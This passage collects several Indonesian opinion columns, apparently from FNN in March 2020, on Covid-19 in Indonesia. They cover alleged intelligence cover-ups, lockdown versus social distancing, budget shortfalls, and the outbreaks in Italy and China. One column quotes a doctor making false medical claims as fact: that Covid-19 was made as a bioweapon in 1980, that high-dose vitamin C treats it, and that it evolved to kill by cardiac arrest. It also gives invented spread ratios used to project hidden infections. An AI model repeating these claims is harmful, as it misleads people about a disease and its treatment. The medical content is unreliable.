ekonomi dan politik nasional. Dubes China sempat protes karena Pemerintah Indonesia sempat mengeluarkan pernyataan bahwa Covid-19 bersumber dari China. Dubes China pantas saja memprotes. Mengingat informasih mengenai sumber Covid-19 bisa berdampak terhadap ekonomi China. Penjualan produk China dan proyek-proyek strategis China yang sedang dan masif di Indonesia sekarang. Jika tidak diprotes, bisa menjadi sumber penolakan masyarakat Indonesia. Inilah pokok persolannya. Selain persoalan ekonomi dan politik, masalah rasisme juga dikhawatirkan meningkat. Kebencian dan kecurigaan terhadap kelompok tententu juga bisa meningkat sangat cepat dan drastis. Karena itu, isu ini bisa berkembang lebih cepat dari api yang melalap atau membakar kertas. Diperkirakan, hantu gesekan sosial yang membayangi sikap pemerintah dalam menghadapi wabah Covid-19 ini. Dampak gesekan ini tentunya sangat terkait erat dengan persoalan ekonomi dan stabilitas politik di dalam negeri. Demikian juga dengan peta dampak politik luar negeri. Posisi Indonesia yang sedang mesra-mesranya dengan China bisa ambyar dan berantakan. Jejak dan keterlibatan Badan Intelijen (BIN) dalam usaha pemerintah menangani wabah Covid-19 ini terlihat sangat jelas, kentara dan nyata. Apalagi, ketika Kepala BIN Budi Gunawan mendampingi Jokowi dalam sebuah acara konferensi pers soal Covid-19. Jejak itu juga terlihat pada beberapa kali ralat berita oleh pihak berwajib yang mengumumkan kasus Covid-19. Pengumuman pertama diralat dengan sebuah statement yang seragam. Begitulah cara kerja intelijen dalam membungkam sebuah informasi. Padahal dalam sebuah negara demokrasi, keterbukaan informasi, diseminasi informasi adalah hal yang tak bisa dibendung. Crowdsource Information tersedia dalam berbagai bentuk dan pola. Baik itu yang tersedia di media social, maupun percakapan di media online. Informasinya begitu cepat menyebar. Ditambah lagi dengan semakin banyaknya fakta-fakta lapangan yang terjadi. Intelijen pemerintah, akhirnya terlihat gagal dalam menutupi kasus Covid-19 yang sebenarnya terjadi di Indonesia. Intelijen juga gagal membuat propaganda melalui tangan-tangan pemandu sorak mereka . Padahal mereka berkeliaran di media sosial dan figur sosial. Kegagalan tersebut semakin menjadi kepanikan besar, ketika salah seorang Menteri Jokowi positive terjangkit wabah Covid-19. Masyarakat juga terlihat semakin panic. karena tiba tiba saja terkejut dengan fakta bahwa lingkaran utama Presiden yang keamanannya dijaga ketat bisa terkena wabah Covid-19. Kepanikan juga terjadi bursa saham selama dua hari berturut turut. Dampaknya, tidak bisa dirasakan langsung oleh masyarakat. Namun demikian, bagi sebagian orang yang berada pada kelas elit, dampaknya sangat terasa. Ketakutan mereka menjadi efek domino terhadap kelas menengah ke bawah. Jika para pekerja mengetahui bahwa bosnya kabur, mereka bisa saja panik massal. Ekspatriat yang berada di Indonesia mulai eksodus. Kepanikan ekonomi juga ditandai dengan langkanya bahan bahan tertentu. Begitu pula naiknya harga-harga sembako. Kepanikan masyarakat ini seharusnya diimbangi dengan keterbukaan informasi, agar masyarakat bisa tetap percaya kepada pemerintah. Apalagi setelah pemerintah gagal berbohong soal penyebaran Covid-19. Pada titik ini, sepatutnya intelijen segera mempensiunkan para pemandu sorak mereka, yang saat ini makin tidak kompak dan terlihat konyol. Jika langkah-langkah startegis itu tak segera diambil, ditakutkan akan terjadi kepanikan sosial. Saling curiga antar penduduk wilayah. Saling curiga antar komplek perumahan. Kebencian pada etnis China yang dituduh sebagai pembawa bencana akan semakin meningkat. Kepanikan sosial seperti ini sangat mungkin memicu terjadinya chaos. Fakta-fakta ini ditambah lagi dengan kondisi ekonomi yang terus memburuk. Semakin tingginya kredit macet perbankan dari hari ke hari. Semakin susah mencari uang, karena banyak orang yang libur. Mereka mengurung diri di rumah selama beberapa hari ke depan. Kebutuhan akan sembako dan obat-obatan seperti masker dan hand sanitizer atau pencuci tangan dengan sabun yang beralkohol juga semakin langka. Kalaupun masih ada di pasar dan Apotek, maka harganya sangat mahal. Harganya dua sampai tiga kali lipat. Masyarakat terpaksa harus membelinya, karena kondisi yang mendesak. Untuk sementara waktu, masyarakat harus mengesampingkan kebutuhan makan dan minum dulu. Semua itu bisa menjadi bom waktu. Jika tidak ditangani dengan baik, akan meledak dalam waktu dekat. Semoga kita semua mampu bersabar mengadapi wabah Covid-19 ini. Penulis adalah Analis Intelejen Don Adam Sharing Academy

Tidak Siap LockDown Nasional, Berikan Saja Kewenangan Itu Kepada Daerah

By Gde Siriana Yusuf Jakarta FNN - Mengapa Jokowi belum mengambil pilihan untuk LockDown secara nasional. Jokowi lebih memilih menjalankan Social Distancing? Padahal Social Distancing akan efektif jika kultur masyarakat dalam mematuhi aturan-aturan cukup tinggi, sehingga people-distancing pun diterapkan oleh tiap orang di tempat-tempat berkumpul. Warga masyarakat masih dibolehkan keluar rumah untuk kerja dan beraktivitas. Selain itu, ketersediaan test kit untuk melakukan tes massal gratis kepeda seluruh warga. Bukan sebaliknya, menunggu warga datang untuk dites. Ketersedian masker dan hand sanitizer yang dibagikan gratis kapada masyarakat sebagai upaya warga lakukan self-defence dalam kegiatan sehari-hari, karena warga masih diperbolehlan untuk melalukan moving in-out. Begitu juga dengan etersediaan tenaga medis di daerah-daerah dengan Alat Pelindung Diri (APD) yang lengkap. Tujuannya, untuk melakukan layanan test and recovery pasien. Namun petugas juga jangan sampai tertular. Ketersediaan Rumah Sakit dan pusat-pusat isolasi pasien positif dengan fasilitas yang lengkap. Jumlahnya juga harus memadai di seluruh daerah. LockDown tidak diperlukan, bila jumlah penduduk yang relatif tidak terlalu banyak. Begitu juga dengan letak geografis yang tidak terlalu luas. Selain itu, episentrum penyebaran virus yang tidak banyak. Dipastikan juga akan terjalin kordinasi yang baik antara pusat dan daerah, terutama ketika bekerja di medan yang luas dan menghadapi jumlah manusia yang banyak. Diperlukan juga kemampuan yang tinggi untuk melakukan tracing close contact yang melibatkan banyak instansi. Langkah ini harus didukung dengan teknologi dan data sources yang akurat. Beberapa negara yang menjalankan Social Distancing seperti Singapura dan Korea Selatan telah memenuhi prasyarat itu. Jika persyaratan-persyaratan tersebut tidak ada, maka LockDown mejadi pilihan terbaik. Meski untuk itu harus mengorbankan kegiatan ekonomi. Sebab, jika penyebaran sudah masif di banyak daerah, maka Social Distancing akan memberikan hasil penurunan penyebaran virus lebih lambat karena sangat bergantung pada kedisiplinan manusia dan ketersediaan sarana dan prasarana. Harus pula dapat diukur kecepatan penyebaran virus dengan kecepatan pemeriksaan atau tes dari warga masyarakat secara sukarela. Meskipun tdk menimbulkan panic buying, bukan berarti kegiatan ekonomi tidak terganggu sama sekali. Pasti akan ada dampak ekonomi. LockDown, sangat mungkin menimbulkan panic buying. Secara drastis akan menghentikan kegiatan ekonomi. Tetapi LockDown memberikan hasil terhadap perlambatan penyebaran virus yang mungkin bergerak lebih cepat, karena mengurangi resiko penularan antar daerah. Keputusan untuk LockDown akan mengurangi variable-variabel yang menjadi sebab-musabab virus menyebar cepat. LockDown juga perlu dilengkapi dengan aturan-aturan ketat dalam pelaksanaan. Harys diawasi aparat di lapangan. Diberlakukan sanksi bagi yang melanggar. Dengan jumlah test kit dan tenaga medis yang terbatas. Begitu juga dengan anggaran yang terbatas, maka pilihan LockDawn lebih cocok dan tepat. Warga yang sehat tidak perlu diperiksa. Warga yg positif pun akan sembuh sendiri. Yang tidak menunjukkan symptom, juga karena tingkat kesembuhan Covid-19 yang tinggi, sekitar 97%. Ini bisa terjadi selama yang positif terjangkir Covid-19 tidak menularkan, karena semua berada dalam pembatasan dan ruang mobilisasi. Tidak moving. China memilih melakukan LockDown karena jumlah manusia yang banyak dan padat. Membuat virus bisa menyebar dengan cepat ke provinsi lain. Akan lebih sulit ditangani ketika episentrum sudah meluas ke propinsi lain. Fhilipina melakukan LockDown karena kurangnya test kit dan tenaga medis sehingga Social Distancing dianggap tidak efektif. Pemerintah Fhilipina dan juga Malaysia menyadari bahwa sulit untuk mengharapkan sikap kedisiplinan dari warganya untuk self-defense selama Social Distancing. Untuk itu, LockDown dinilai menjadi pilihan yang lebih efektif, karena ada aturan-aturan yang bisa memaksa masyarakatnya. Kunci efektivitas LockDown di Indonesia adalah perlu strong leadership Jokowi. Penegakan aturan-aturan LockDwon oleh aparat adalah juga ketersediaan logistic. Artinya, distribusi logistik antar daerah dipastikan tetap berjalan dengan baik. Dikawal betul oleh aparat kepolisian dan tentara. Ketika pabrik-pabrik dan pasar tutup, maka distribusi logistik yang menjadi kebutuhan sehari-hari masyarakat menjadi terganggu. Selama LockDown distribusi logistik pangan harus dapat dijalankan oleh pemerintah. Misalnya melalui Bulog. Dengan kata lain, jalur distribusi logistik harus disiapkan sebelum jalankan LockDown diberlakukan. Jadi, sekarang yang perlu dipertimbangkan adalah “lebih banyak mana, kerugian yg akan ditimbulkan dari Social Distancing dan LockDown? Tetapi apapun itu kerugiannya, pemerintah tidak boleh mengorbankan kesehatan masyarakat. Jangan lagi memikirkan ekonomi. Apalagi kekuasaan. LockDown memang akan menimbulkan panic buying pada awalnya. Tetapi jika aparat dan Bulog punya kesiapan yang tinggi, akan meredam kepanikan ini. Jangan jadikan panic buying sebagi penghalang keputusan LockDown. Sebab LockDown secara rasional sebagai pilihat tepat saat ini. Untuk itu, siapkan strategi bagaimana menghadapi panic buying, sehingga dapat diminimalisir. Jika melihat berbagai prasyarat memilih Social Distancing atau LockDown, nampaknya Jokowi tidak siap. Bukan tidak mau. Untuk memutuskan LockDown, meskipun LockDown lebih tepat dalam situasi penyebaran virus yg terus naik. Ketidaksiapan ini adalah pada jaminan supply logistik oleh Bulog yang menggantikan peran swasta. Selian itu, Jokowi juga tidak memiliki strong leadership yang diperlukan untuk menjamin pelaksanaan LockDown efektif sampai ke daerah-daerah. Contohnya, LockDown kota Malang yang diputuskan oleh Walikota Senin siang. Tetapi sore hari disangkal lagi oleh Walikota setelah Jokowi marah, karena LockDown menjadi wewenang Pemerintah Pusat. Kenyataan ini menunjukkan bahwa daerah dalam status yang sangat urgensi, telah menjalankan LockDown. Bagaimanapun daerah lebih tahu kondisi daerahnya sehari-hari saat ini. Daerah juga lebih tahu resiko yg akan dihadapi daerah ketika LockDown terlambat dijalankan. Karena itu, jika belum siap jalankan LockDown secara nasional, maka daerah perlu diberikan kewenangan untuk lalukan LockDown secara parsial sepanjang daerah siap dengan segala resikonya. Penulis adalah Managing Director Indonesia Future Studies (INFUS)

Nasib APBN 2020 "Mendekati Ambyar”

“Urusan corona memang berat. Namun yang lebih berat lagi adalah urusan tidak punya uang. Karena berdampak kepada tiga persoalan sekaligus. Yaitu, tidak punya uang buat beli makanan, tidak punya uang buat memeriksa kesehatan, dan kalau tertular berarti tidak punya uang buat berobat. Demikian beratnya kalau tidak punya uang itu”. By Salamuddin Daeng Jakarta FNN - Sekarang, masalah terberat yang dihadapi pemerintah Jokowi Makruf adalah pemerintah tidak punya uang. Anggaran Pendapatan dan Belanja Negara (APBN) Ambyar, kata anak milenial. Seluruh target penerimaan dalam APBN 2020 akan merosot tajam. Bahkan bisa dibilang terjun bebas. Sementara seluruh kewajiban akan menggunung. Kondisi ini jika tidak mendapat penanganan secara baik,maka bisa membuat Pemerintahan Jokowi- Makruf Ambyar juga. Masalah pzaling berat yang dipikul APBN 2020 tersebut datang dari merosotnya harga komoditas, terutama minyak, gas dan batubara. Ketiga komoditas tersebut selama ini merupakan penopang utama penerimaan dalam APBN setiap tahun. Harga minyak telah menurun ke posisi paling rendah dalam lima tahun terakhir. Harga sekarang U$ 28 dollar per barel minyak. Batubara juga menurun tajam menuju harga terendah dalam lima tahun terakhir. Harga baturabara sekarang U$ 34 dollar per ton. Sementara harga gas alam juga turun drastic. Berada pada posisi U$ 1,8 dollar per MMBTU. Sedangkan posisi harga komoditas yang menjadi penopang utama APBN juga memburuk. Penyebabnya, sangat kompleks, sehingga tidak mudah mencari jalan keluarnya. Masalah penurunan harga minyak, gas dan batubara adalah masalah kunci dalam penerimaan APBN Indonesia. Mengingat komoditas ini adalah penyumbang paling besar terhadap pendapatan negara dari pajak dan pendapatan negara bukan pajak (PNBP). Jika harga komoditas seperti minyak, gas dan batubara tinggi, maka investasi yang masuk ke sekrtor ini juga akan meningkat. Produksi dengan sendirinya meningkat, ekspor juga meningkat, bagi hasil meningkat, dan royalti memingkat. Hasilnya, pendapatan negara dari pajak dan PNBP meningkat. Sementara kondisi yang terjadi hari ini adalah sebaliknya. Bukan Masalah Baru Banyak yang mengatakan bahwa penurunan harga komoditas memang buka masalah baru bagi APBN Indonesia. Masalah ini selau berulang-ulang. Itulah yang mendasari keyakinan bahwa APBN Indonesia akan aman aman saja. Tidak akan terjadi masalah dalam kelangsungan pemerintahan Jokowi-Makruf. Pernyataan itu memang sepintas benar. Fluktuasi harga komoditas memang telah terjadi selama lebih dari satu dekade terakhir. Terhitung sejak krisis melanda Amerika Serikat dan Eropa tahun 2008 lalu. Komoditas seperti minyak, gas, dan batubara mengalami naik turun secara ekstrim. Selama ini kondisi harga komoditas yang demikian tidak membawa pemgaruh significant terhadap APBN, terlebih lagi terhadap kelangsungan politik dan pemerintahan. Lalu mengapa sekarang berbeda? Masalah penurunan harga komoditas merupkan akumulasi dari berbagai masalah lainnya. Pelemahan pertumbuhan ekonomi global, khususnya ekonomi Tiongkok. Sekarang ditambah maslaah pelemahan ekonomi Eropa dan Amerika Serikat karena hantaman wabah corona adalah yang tidak pernah terjadi di masa lalu. Dari dalam negeri, muncul masalah pelemahan pertumbuhan ekonomi nasional. Kenyataan ini merupakan akumulasi dari krisis sektor industri dalam dua dekade terakhir. Sektor property melemah sejak tahun 2014. Akibatnya, terjadi pelamahan daya beli masyarakat dalam lima tahun terakhir. Sekarang krisis harga komoditas yang mengalami kejatuhan terparah dalam sejarah. Tidak Punya Uang Sumber sumber utama pemerintah untuk mendapatkan uang tampaknya sudah semakin kering. Sektor komoditas tidak lagi dapat diharapkansebagai penopang uatama penerimaan pemerintah. Sementara sektor konsumsi, terutam property dan otomotif, telah lama mengalami pelemahan daya beli. Sektor pariwisata sebagian besar oleh diisi turis dari Tiongkok. Faktanya, sekarang Tiongkok dilockdown, maka yang tersisa cuma kemampuan masyakat dalam membeli bahan pangan dan makanan, yang makin pas-pasan saja. Sumbangan pajaknya pun tidak lagi significant. Sebetulnya kondisi ini tampak semakin memburuk dalam empat tahun terakhir. Namun pemerintah menyiasatinya dengan meminjam dana publik melalui instrumen Suat Utang Negara (SUN). Tragisnya, cara yang digunakan pemerintah untuk menjual SUN juga salah. Menjual obligasi negara dengan bunga lebih besar dari bunga yang berlaku pada deposito perbankkan. Disitulah letak salahnya. Maka mengalirlah dana dari berbagai penjuru negeri ke dalam SUN. Ada dana bank, dana perusahaan asuransi, dana pensiun, dana haji, semua mengalir mengisi kas negara yang sudah mongering atau kosong. Untuk sementara waktu, APBN pun selamat. Sekarang pemerintah harus membayar kewajiban-kewajiban yang menggunung. Membayar dana publik yang dipinjam pemerintah dengan menerbitksan SUN. Pada saat yang sama, juga membayar kewajiban utang luar negeri pemerintah dengan nilai yang makin besar. Bukan saja karena utang luar negeri pemerintah yang meningkat dari tahun ke tahun untuk menutupi defisit, namu juga karena jatuhnya nilai tukar rupiah terhadap mata uang asing yang melemah sangat besar. Jika pelemahan nilai tukar rupiah terus berlanjut, maka ini akan menjadi pukulan besar bagi beban utang APBN 2020. Meskipun Menteri Keuangan Sri Mulyani mengatakan bahwa pelemahan rupiah menguntungkan APBN 2020, karena memperbesar nilai penerimaan utang baru dan peberimaan bagi hasil penjualan komoditas. Namun pukulan terhadap kewajiban pemerintah juga sangat telak. Persis ke ulu hati. Jika pelemahan harga komoditas berlangsung lama, ditambah wabah corona belum jelas kapan akan berakhir, maka sebagian besar sumber keuangan pemerintah akan kering-kerontang. Satu-satunya harapan yang tersisa adalah sita aset para koruptor. Sita aset koruptor yang waktu lalu minta ampun dan tidak mau minta ampun lewat tax amnesty. Sangat sulit untuk membayangkan pemerintah tak punya uang. Sementara pada waktu yang bersamaan, sedang kena serangan corona. Bagaimana caranya kita membeli makanan dan membeli obat? Wallaahu Alam Bisshawab Penulis adalah Peneliti Asosiasi Ekonomi Pelitik Indonesia (AEPI)

Selamatkan Rakyat, "Lock Down" Segera Indonesia, Pak Presiden!

Oleh Mochamad Toha Jakarta, FNN - Hingga Senin (16 Mar 2020 13:31 WIB), seperti ditulis Detik.com, Kementerian Kesehatan (Kemenkes) sudah merilis perkembangan terkini berkaitan dengan sebaran Virus Coroa (Covid-19) di Indonesia, total sejauh ini pasien positif Covid-19 berada di setidaknya 8 provinsi. Melalui akun Twitter resmi @KemenkesRI, disebutkan informasi terbaru mengenai Covid-19. Untuk sebaran Covid-19, disebutkan berada di DKI Jakarta, Jawa Barat, Banten, Jawa Tengah, Kalimantan Barat, Sulawesi Utara, Bali, dan DI Jogjakarta. “Untuk persebaran #Covid19 yakni Jakarta, Jawa Barat (Kab.Bekasi, Depok, Cirebon, Purwakarta, Bandung), Banten (Kabupaten Tangerang, Kota Tangerang, Tangerang Selatan), Jawa Tengah (Solo), Kalimantan Barat (Pontianak), Sulawesi Utara (Manado), Bali & Jogjakarta,” cuit @KemenkesRI, Senin (16/3/2020). Selain itu, disebutkan informasi per 15 Maret 2020 mengenai 21 kasus baru pasien positif Covid-19. Dengan penambahan itu, total ada 117 kasus pasien positif Covid-19 di dalam negeri. “Update per tanggal 15 Maret 2020 terjadi penambahan kasus baru sebanyak 21 orang. Dengan demikian, jumlah total positif #Covid-19 di Indonesia menjadi 117 orang dengan 8 sembuh dan 5 meninggal,” tulisnya. “Dua puluh satu kasus tersebut yakni 19 kasus di Jakarta dan 2 kasus di Jawa Tengah. Kasus di Jakarta merupakan hasil pengembangan contact tracing dari kasus sebelumnya,” tulisnya. Data terbaru, per Senin (16/3/2020), disebutkan, ada tambahan 17 kasus baru. Ini menjadikan total penderita menjadi 134 kasus. “Tambahannya Jawa Barat 1, Banten 1, Jateng 1, dan DKI 14 pasien,” ujar Juru Bicara Pemerintah untuk Covid-19, Achmad Yurianto. Angka korban meninggal dan yang kembali sehat belum berubah: yang meninggal sebanyak 5 kasus dan yang sembuh 8 kasus. Pemerintah juga memutuskan untuk melakukan isolasi atau karantina di rumah masing-masing. Terutama bagi yang tanpa gejala. Seharusnya Indonesia belajar dari Italia yang terlambat dalam menyatakan #lockdown. Begitu kata Dr. Tifauzia Tyassuma yang pernah menjadi salah satu Peneliti Virus Dengue kerjasama dengan US-Aid. Untuk tujuan menemukan vaksin. Kondisi Italia hari ini menuju tendensi jauh lebih parah daripada China pada waktu puncak terjadinya Covid-19. Mengapa? “Karena terlambat #lockdown,” tegas Dokter Tifauzia. Hari ini, jumlah kasus meninggal sebanyak 368 orang. Hanya dalam sehari. Padahal, Italia adalah satu negara Eropa yang memiliki fasilitas kesehatan dan pemeriksaan penunjang termasuk terbaik di dunia. Saat ini kondisi beberapa negara Eropa, terutama Selatan, menuju kepada puncak kasus yang diperkirakan terjadi dua-tiga bulan lagi. Di Perancis, Rakyat telah mendesak supaya Pemerintah memberlakukan #lockdown. Tetapi belum dilakukan. Tampaknya Pemerintahnya menunggu kasus menjadi semakin banyak. “Kurang lebih seperti yang dilakukan Pemerintah RI saat ini,” katanya. Jadi, apa yang ditunggu itu? Apa yang ditunggu sebenarnya cuma satu: menunggu semakin banyaknya jumlah kasus. Dan, akan terjadi, apabila yang dilakukan hanya release laporan jumlah kasus dan himbauan. “By the way, saya menunggu release Pak Yuliarto dari kemarin. Mohon jangan ada yang ditutupi ya Pak,” pinta Dokter Tifauzia. Menurutnya, beberapa Rumah Sakit, di berbagai tempat di Indonesia, Para Dokter dan Perawatnya sudah positif Covid-19. Beberapa Provinsi, yang kemarin masih zero, satu demi satu sudah melaporkan kasus positif. Era keterbukaan, era digital, sulit untuk menutupi apapun. Bukan sekedar dinding bisa bicara, smartphone pun pandai bicara. “Maka lebih baik, sampaikan apa adanya,” tegas Dokter Tifauzia. Rakyat akan menerima, tinggal diinstruksikan dengan tegas dan jelas, harus bagaimana. Jika terjadi penajaman jumlah kasus dan kematian, dalam beberapa hari ke depan, seperti yang sudah dihitung dengan model prediksi, sungguh, Indonesia tak sanggup mengatasinya, menanganinya, dan berbuat apapun untuk menanggulanginya. “#LockdownIndonesia segera, Pemerintah. Sementara waktu saja! Untuk memutus rantai persebaran virus, dan untuk membuat landai grafik yang curam. Dan itu nanti akan sangat bermanfaat buat kami, rakyat Indonesia,” lanjut peneliti Vaksin Dengue ini. Sebaran Corona Hukum persebaran kuman itu 1 ke 4. Satu orang positif, artinya ada 4 orang di sekitarnya yang positif. Jika terjadi Pandemi, artinya probabilitas berkembang menjadi 1 ke 100. Satu orang positif posibilitas, maka orang positif adalah 100 orang di sekitarnya. Dan risiko persebaran Covid-19 di Indonesia dalam Desember 2019 – Maret 2020 akan semakin besar. Karena apa? Tidak ada tindakan preventif apapun yang dilakukan selama Indonesia belum dinyatakan positif terjangkit. Pesawat masih bebas keluar masuk dari dan ke luar negeri. Kapal-kapal pesiar masih bersandar dengan santainya. Yang ditolak di negeri lain, di Indonesia diterima dengan suka hati. “Kuncinya adalah #lockdown,” ungkap Dokter Tifauzia. Menurutnya, #lockdown adalah tanda kekuatan Joko Widodo sebagai pemimpin. Kalau seorang Kepala Negara berani memberlakukan #lockdown bagi negerinya, artinya dia telah Sangat Yakin bahwa negaranya Kuat. Rakyatnya kuat secara Mental. Negaranya Kuat secara Ekonomi dan Politik. Saat ini, tidak ada satupun Ilmuwan dunia yang bisa memastikan mutasi dan evolusi yang terjadi pada COVID-19. “Saya pun telah melakukan hipotesis atas prognosis berdasarkan Ilmu Clinical Epidemiology dan Virology, terhadap Covid-19 ini,” ujar Dokter Tifauzia. Saat ini yang sudah terbukti adalah bahwa Virus Covid-19 ini telah berhasil menjadikan manusia sebagai Reservoir-nya. Karena itu tindakan Beyond Prevention, termasuk di dalamnya Lockdown, adalah tindakan yang paling masuk akal. #Lockdown itu ada berbagai versi dan strategi. Kita harus mengikuti karakteristik dari Covid-19 ini. Saat ini si virus sudah menggunakan manusia sebagai reservoirnya. Hasil penelitian terbaru menyatakan bahwa titik tangkap Covid-19 bukan lagi di CD 4. Maka obat Anti HIV yang bulan lalu di Wuhan masih efektif, sekarang sudah tidak lagi. Pada Februari 2020, pengobatan kemudian beralih ke BOM Vitamin C dosis tinggi, dan cukup efektif. Mengapa? Karena Covid-19 telah berevolusi lagi. Sekarang titik tangkapnya adalah ke ACE, Angiotensin Converting Enzyme. Apa ini artinya? Sekarang ini Covid-19 bisa langsung menyebabkan kematian. Kematian yang terjadi bukan lagi karena Infeksi Sekunder, tetapi karena terjadi Bronchospasme dan/atau Cardiac arrest, jantung berhenti. Ini yang terjadi pada Pasien positif di Manado. Datang dengan serangan jantung bukan dengan gejala gangguan pernafasan. Kondisi yang juga ditengarai terjadi pada Menhub Budi Karya Sumadi. Karena ia pasien ke-76, artinya ia terinfeksi Covid-19 generasi ke 3, yang telah secara langsung berikatan dengan ACE. Makanya serangannya seperti Asma. Terjadi Bronchospasme dan seterusnya. Dalam rentang dua minggu, mengikuti karakteristik Covid-19 yang menempel pada permukaan, bukan melalui jalur air borne. “Maka Presiden, Wapres, semua Menteri, Pejabat, dan orang-orang yang bersentuhan dengan Pak BKS, possible untuk terinfeksi tanpa disadari,” ungkap Dokter Tifauzia. Presiden Jokowi tampaknya body immunity-nya kuat. “Tetapi saya khawatirkan Wapres Ma’ruf Amin yang sudah sepuh dan punya Diabetes. Apakah beliau sempat salaman dengan Pak BKS? Beliau lebih baik dikarantina dulu. Daripada kenapa-kenapa,” lanjutnya. Menurut Dokter Tifauzia, UNICEF dan WHO sudah mengingatkan terjadinya evolusi Covid-19 sejauh ini. Dia sudah adaptasi dengan iklim Indonesia yang panas dan lembab. Dan, kemampuan bertahan hidup di permukaan apapun sudah mampu di atas 9 jam tanpa mati. Covid-19 yang sudah dibuat sebagai senjata biologis sejak1980, 40 tahun lalu, berevolusi dengan tepat seperti yang dikehendaki pembuatnya. Bagaimana caranya? Mekanisme mutasinya selalu berkembang sesuai dengan karakter reservoir dimana dia hidup dan berkembang biak. Dengan perilaku manusia abad 21 yang makin sembarangan dalam menjaga pola hidup dan pola makan, dengan usus yang makin buruk dan mikrobiota yang makin miskin, dia menjadi kuman yang menjajah dengan leluasa di dalam tubuh manusia yang saat ini menjadi reservoir utamanya. Dokter Tifauzia memberi saran: 1. Berlakukan #Lockdown secepat mungkin. Gerbang negara tutup, gerbang antar pulau seleksi seketat mungkin. 2. Kerumunan massa seperti sekolah dan kampus yang memungkinkan terjadi persebaran di #lockdown dahulu. 3. Berikan Kupon Gratis Sembako kepada 7% warga miskin. Yang mau ngaku miskin dan ingin dapat Kupon Gratis ya kasih kan sajalah. 4. Berikan BLT, uang saku kepada 7% warga miskin. Yang mau ngaku miskin dan ngarep BLT juga berikan sajalah. 5. Perintahkan rakyat anda untuk menghindari sedikit mungkib keluyuran keluar rumah, kecuali yang Urgent sekali dan tidak bisa ditinggalkan. Selebihnya, instruksikan untuk diam di rumah. Mengikuti hukum Pareto logic, saat ini sedikitnya ada 384 orang yang telah terinfeksi tapi tidak atau belum terdeteksi. Dan kalau mengikuti hukum persebaran virus, kemungkinan sudah ada sedikit ya 9600 orang yang terinfeksi tanpa mereka sadari. Mekanisme Screening kasus di Indonesia masih sangat primitif, dimana yang terdeteksi hanyalah yang kebetulan sakit dan berobat. sementara ribuan lain yang sebetulnya sudah terinfeksi masih bajalan kesana kemari. Tidak usah jauh-jauh-lah. Pak Menteri BKS bukannya juga masih kesana-kemari, masih ikut Rapat Kabinet, masih keluar masuk Istana. Ini Menteri yang tentu adalah Pejabat yang sangat dilindungi kesehatannya dengan protokol yang ketat, bukan? Penulis adalah waratawan senior

Rasio Tingkat Kematian Tertinggi Kedua Corona, Indonesia Semi-Lock Down

Oleh Mochamad Toha Jakarta, FNN - World Health Organization (WHO, organisasi kesehatan sedunia) sudah mengumumkan, wabah Virus Corona sebagai pandemik. Artinya, sudah menjadi ancaman untuk seluruh dunia. Sudah lebih dari 100 negara yang tertular virus yang disebut Covid-19 itu. Bukan lagi endemik – yang hanya mengancam satu atau beberapa negara saja. Dahlan Iskan (Disway.co.id, Jum’at, 13 Maret 2020) mencatat, di Italia saja yang menderita virus Corona memang sudah sekitar 10.000 orang – hampir 1000 orang meninggal dunia. Padahal, di Tiongkok sudah sangat reda. Upacara-upacara penutupan rumah sakit darurat – karena tidak ada lagi pasien baru – terus terjadi setiap hari. Kabar baik yang sangat baik itu juga datang dari provinsi terparah: Hubei – pusat lahirnya virus Corona. Rabu kemarin penderita baru di provinsi ini ”tinggal” 8 orang. Jangan-jangan hari ini sudah bisa 0. Atau besok. Atau lusa. Dari 67.000 penderita di Hubei, yang sudah sembuh 52.000 orang. Di Provinsi Zhejiang – yang beribukota di Hangzhou, pusatnya Alibaba itu – dari 1.215 penderita yang sudah sembuh 1.209. Berarti tinggal enam orang yang belum sembuh. Di Provinsi Jiangxi – tempat Mas Dahlan belajar bahasa Mandarin dulu – dari 935 penderita, yang sudah sembuh 934. Tinggal satu orang yang masih dirawat. Demikian juga di Provinsi Fujian – mayoritas Tionghoa Indonesia punya leluhur di provinsi ini – dari 296 penderita virus Corona yang sudah sembuh 295. Kurang satu orang lagi. Itulah situasi terbaru di Tiongkok. Tapi sukses seperti itu harus lewat penderitaan luar biasa ratusan juta orang. Mereka harus di-lock down – seperti yang sekarang dilakukan di Italia. Lebih dua bulan orang Tiongkok harus dipenjara di rumah masing-masing. Italia mengikuti cara Tiongkok itu. Seperti dilansir Tribunnews.com, Sabtu (14 Maret 2020 12:09 WIB), Italia telah memecahkan rekor dalam sejarah kasus virus Corona. Data resmi pemerintah setempat mencatat jumlah korban tewas tertinggi dalam sehari. Dilansir South China Morning Post, ada 250 kematian yang tercatat selama 24 jam terakhir pada Jumat (13/3/2020). Hingga berita ini diturunkan, sebanyak 1.266 orang telah meninggal di Italia akibat Covid-19, Sabtu (14/3/2020). Ada 17.660 orang terinfeksi secara keseluruhan. Jumlah tersebut merupakan peningkatan dari 2.547 kasus sejak Kamis (12/3/2020) malam. WHO pun telah mendeklarasikan Eropa sebagai pusat pandemi virus Corona yang baru. Sistem perawatan medis di sana sedang berada dalam ketegangan menghadapi wabah. Negara mengunci wilayahnya. Warga diperintahkan untuk tinggal di rumah, kecuali untuk perjalanan terkait pekerjaan dan kebutuhan penting lainnya. Semua toko, kecuali toko makanan, apotek, kios surat kabar, dan penjual tembakau, telah ditutup. Lantas, China menerbangkan 31 ton pasokan medis ke Roma. Para pakar medis dari China turut berangkat ke Italia. Wakil Kepala Palang Merah China, Yang Huichuan, yang mengepalai tim, mengatakan persediaan tiba di Roma Jumat (13/3/2020) malam. Persediaan termasuk peralatan untuk unit perawatan intensif. Dalam konferensi pers bersama Menlu Italia, Luigi Di Maio, dan duta besar China untuk Italia, Li Junhua, Yang mengatakan, para ahli juga siap memberi versi terbaru dari rencana kontrol dan pencegahan kepada pemerintah Italia. Li mendukung pernyataan dari Yang tersebut. Dia menambahkan, semua ahli yang dikirim dari Wuhan ke Italia memiliki kemampuan untuk membantu memerangi Corona di negara spaghetti tersebut. “Italia telah mengirim bantuan ke China saat China menghadapi Corona. Jadi, kami di sini membayar kembali bantuan yang kami dapatkan dari Italia,” kata Yang. Apalagi, Eropa kini telah ditetapkan WHO sebagai pusat pandemi virus Corona di dunia. Hal itu disampaikan oleh Dirjen WHO, Tedros Adhanom Ghebreyesus, Jumat (13/3/2020) waktu setempat. Pernyataan itu dideklarasikan ketika beberapa negara Eropa melaporkan peningkatan tajam dalam infeksi dan kematian akibat Corona. Lebih dari 143.000 orang telah didiagnosis Covid-19 di 135 negara, per Sabtu (14/3/2020). Jumlah kematian telah mencapai sebanyak 5.391 orang. Tedros menyebut jumlah itu sebagai “tonggak yang tragis”. “Eropa sekarang telah menjadi pusat pandemi, dengan 